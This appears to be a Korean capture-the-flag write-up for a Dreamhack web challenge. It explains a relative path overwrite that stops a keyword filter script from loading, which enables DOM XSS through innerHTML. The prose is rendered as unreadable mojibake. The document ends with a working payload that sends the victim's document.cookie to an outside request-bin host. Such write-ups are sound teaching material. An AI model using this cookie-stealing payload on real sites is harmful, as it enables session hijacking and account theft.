1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/439
2. ํด๊ฒฐ ๊ณผ์
index.php ํ์ด์ง์ ์ฝ๋์ด๋ค.
page ๋ผ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ ํด๋น ํ์ด์ง์ ๋ง๋ php ํ์ผ์ includeํ๋ค.
ํด๋น ์ฝ๋์์ .., :, / ๊ณผ ๊ฐ์ ๋ฌธ์๋ ํํฐ๋งํ๊ธฐ ๋๋ฌธ์ LFI ๊ณต๊ฒฉ์ ๋ถ๊ฐ๋ฅํ๋ค.
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
vuln.php ์ฝ๋๋ filter.js ๋ผ๋ ํ์ผ์ ์คํฌ๋ฆฝํธ ํ๊ทธ์ src๋ก ๋ก๋ํ๊ณ (filter๋ผ๋ ๋ฐฐ์ด์ด ์ ์๋์ด ์์), param ์ด๋ผ๋ id๋ฅผ ๊ฐ๋ pre ํ๊ทธ๋ฅผ ์ ์ธํ๋ค.
GET ๋ฉ์๋๋ก ์ ๋ฌ๋ param ํ๋ผ๋ฏธํฐ์ filter.js ์ ์๋์ด์๋ filter ๋ฐฐ์ด ๋ฌธ์์ด๋ค์ด ํฌํจ๋์ด ์๋์ง ํ์ธํ๊ณ , ํฌํจ๋์ด ์๋ค๋ฉด nope!!์ ์ถ๋ ฅํ๋ค. ์ดํ ํํฐ๋ง๋ param ๊ฐ์ <pre id=param></pre> ์์์ inner HTML๋ก ์ฝ์
ํ๋ค.
์ฆ, URL์ ์กฐ์ํ์ฌ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ param ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ๋ก ์ฝ์ ํ ๊ฒฝ์ฐ, innerHTML์ ์ฌ์ฉํจ์ผ๋ก์จ ๊ทธ ์ฝ๋๊ฐ ์คํ๋ ์ ์๋ค.
//fileter.js
var filter = ["script", "on", "frame", "object"];
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
ํผ์ ์์ฑ๋ ์ ๋ ฅ๊ฐ์ base64๋ก ์ธ์ฝ๋ฉํ ํ escape๋์ด ์คํํ๋ค.
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
<form method="POST" class="form-inline">
<div class="form-group">
<label class="sr-only" for="path">/</label>
<div class="input-group">
<div class="input-group-addon">http://127.0.0.1/</div>
<input type="text" class="form-control" id="path" name="path" placeholder="/">
</div>
</div>
<button type="submit" class="btn btn-primary">Report</button>
</form>
vuln.php ๋ด์์ ์ด์ฉ์์ ์ ๋ ฅ ๊ฐ์ด innerHTML๋ก ๋ค์ด๊ฐ๊ธฐ ๋๋ฌธ์ DOM XSS๊ฐ ๋ฐ์ํ ์ ์๋ค.
ํ์ง๋ง, ์๋ฐ์คํฌ๋ฆฝํธ ๋จ์์ XSS ๊ณต๊ฒฉ์ผ๋ก ์ด์ด์ง ์ ์๋ ํค์๋๋ฅผ ๋ชจ๋ ํํฐ๋งํ๊ณ ์๋ค.
์ด ๋ ํค์๋๊ฐ ๋ชจ์ฌ์๋ filter ๋ณ์๋ filter.js ํ์ผ ๋ด์ ์ ์ธ๋์ด ์์ผ๋ฉฐ, ์ฒซ ์ค์์ script ํ๊ทธ๋ฅผ ์ด์ฉํด ๋ก๋ํ๋ฉด์ ์ด๊ธฐํ๋๋ฏ๋ก, ํค์๋๋ฅผ ํํฐ๋งํ ๋ ๋ง์ฝ filter๋ผ๋ ๋ณ์๊ฐ ์กด์ฌํ์ง ์์ผ๋ฉด ํํฐ๋ง ์์ฒด๋ฅผ ์ํํ์ง ์๊ธฐ ๋๋ฌธ์ filter.js๋ฅผ ์ ์์ ์ผ๋ก ๋ก๋์ํค์ง ์์ ์ ์๋ค๋ฉด ํํฐ๋ง์ ์ฐํํ ์ ์๊ฒ ๋๋ค.
filter.js๋ฅผ ๋ก๋ํ ๋์๋ ์ ๋์ฃผ์๊ฐ ์๋ ์๋์ฃผ์๋ก ๋ก๋ํ๊ธฐ ๋๋ฌธ์ ํ์ฌ ๊ฒฝ๋ก์ ๋ฐ๋ผ ์ฌ๋ฐ๋ฅด์ง ์์ ํ์ผ์ ๋ก๋ํ๊ฑฐ๋, ๋ก๋ ์์ฒด์ ์คํจํ ์๋ ์๋ค.
๋ฐ๋ผ์ Relative Path Overwrite์ ์ด์ฉํด ๋ธ๋ผ์ฐ์ ์ ์๋ฒ๊ฐ ์ธ์ํ๋ ๊ฒฝ๋ก๋ฅผ ๋ค๋ฅด๊ฒ ๋ง๋ ํ, vuln.php์ ์ ์ํ๋ค๋ฉด filter ๋ณ์๊ฐ ์ ์๋์ง ์๋๋ก ํ ์ ์๋ค.
//filter.js
var filter = ["script", "on", "frame", "object"];
//vuln.php
<script src="filter.js"></script>
์ด๋, index.php/ ํ์ด์ง๋ฅผ ์ฌ์ฉํ์ฌ ์ฃผ์์ ํด๋น ๊ฒฝ๋ก๋ฅผ ์ฝ์ ํ๊ฒ ๋๋ฉด ์๋๊ฒฝ๋ก์๋ script.js ํ์ผ์ด ์๋ชป ๋ก๋๋์ด filter ๋ณ์๊ฐ undefined ๋์ด ํํฐ๋ง์ด ๋จนํ์ง ์๋๋ค.
/index.php?vuln ํ์ด์ง์์ ๋ฐ์ํ๋ RPO+XSS ์ทจ์ฝ์ ์ ํตํด ์ฟ ํค๋ฅผ ํ์ทจํด์ผ ํ๋ค.
DOM XSS๊ฐ ๋ฐ์ํ๋ ๊ฒ์ด๊ธฐ ๋๋ฌธ์ on ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ XSS ๊ณต๊ฒฉ์ ์ํํด์ผํ๋ค.
์ด๋, ์ฟ ํค๊ฐ์ ํ์ทจํด์ ํ๋๊ทธ๊ฐ์ ์ป์ด๋ผ ๊ฒ์ด๋ค.
- ๋๋ฆผํต Request Bin ๊ธฐ๋ฅ ์ฌ์ฉ: https://tools.dreamhack.games/
๋ฐ๋ผ์ report ํ์ด์ง์ ์๋์ ๊ฐ ์ ๋ ฅ
index.php/?page=vuln¶m=<img src=@ onerror=location.href="https://xbgfmqj.request.dreamhack.games/"%2bdocument.cookie>
ํ๋๊ทธ ํ์ธ